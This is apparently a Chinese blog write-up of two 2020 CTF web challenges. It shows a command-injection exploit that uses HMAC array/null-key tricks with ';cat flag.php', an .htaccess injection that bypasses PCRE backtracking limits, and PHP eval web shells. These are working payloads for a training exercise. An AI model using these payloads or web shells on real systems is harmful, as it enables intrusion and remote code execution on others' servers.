BUUCTF(32)

122 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第19天,点击查看活动详情

[羊城杯 2020]Blackcat

点开mp3文件,在结尾发现了php源代码;

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}


$clandestine = getenv("clandestine");


if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);




$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);


if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}


echo exec("nc".$_POST['One-ear']);

首先需要POST参数Black-Cat-Sheriff和One-ear;

getenv()从环境中取字符串,获取环境变量的内容;www.php.cn/php-weiziji…

然后POST参数White-cat-monitor,并且HMAC算法生成哈希值,调用两次;

最后判断生成的哈希值与Black-Cat-Sheriff是否相等;

One-ear需要去获取flag的内容;

1.当传入的$data为数组时,加密得到的结果固定为NULL

2.如果加密的密钥$keynull的话,生成的哈希值也是我们所知的;

 因此令
 $White-cat-monitor[]=xino; 

$One-ear=;cat flag.php;

$Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

White-cat-monitor[]=xino&Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php

[羊城杯2020]easyphp

考察:.htaccess解析+命令注入+相关绕过

本题的环境只对index.php文件进行解析,而且在题目源码的开头和末尾都对当前目录下的文件进行了检查,删除除了index.php外的所有文件

者是 .htaccess让当前目录下的所有文件都能解析为php文件

大体过程:通过.htaccess来写马,题目对传入的参数进行了过滤,文件名必须只能带有[a-z.]范围的字符 ,stristr函数则是过滤了on,html,type,flag,upload和file关键字

还有一点,题目只解析index.php

我们可以参考之前出过的一个题目,只能说是大同小异

nikoeurus.github.io/2019/12/01/…

解题,可以用base64绕过strstr检测

P神文章

www.leavesongs.com/PENETRATION…

文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式

mochazz.github.io/2019/01/13/…

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23&filename=.htaccess

通过正则匹配的递归次数来绕过,正则匹配的递归次数由pcre.backtrack_limit参数来控制

PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万。该值可以通过php.ini设置,也可以通过 phpinfo页面查看。

不适用JIT引擎来匹配正则表达式

.htaccess也可以设置开头自动包含,.htaccess设置php环境变量的格式

#format
php_value setting_name setting_value
#example
php_value auto_prepend_file .htaccess

最终写入内容

php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_prepend_file .htaccess
#a<?php eval($_GET[1]); ?>\
Hello, world

 

简单方法,直接写马,蚁剑连

 

?filename=index.php&content=<?php eval($_POST['qwzf']); ?>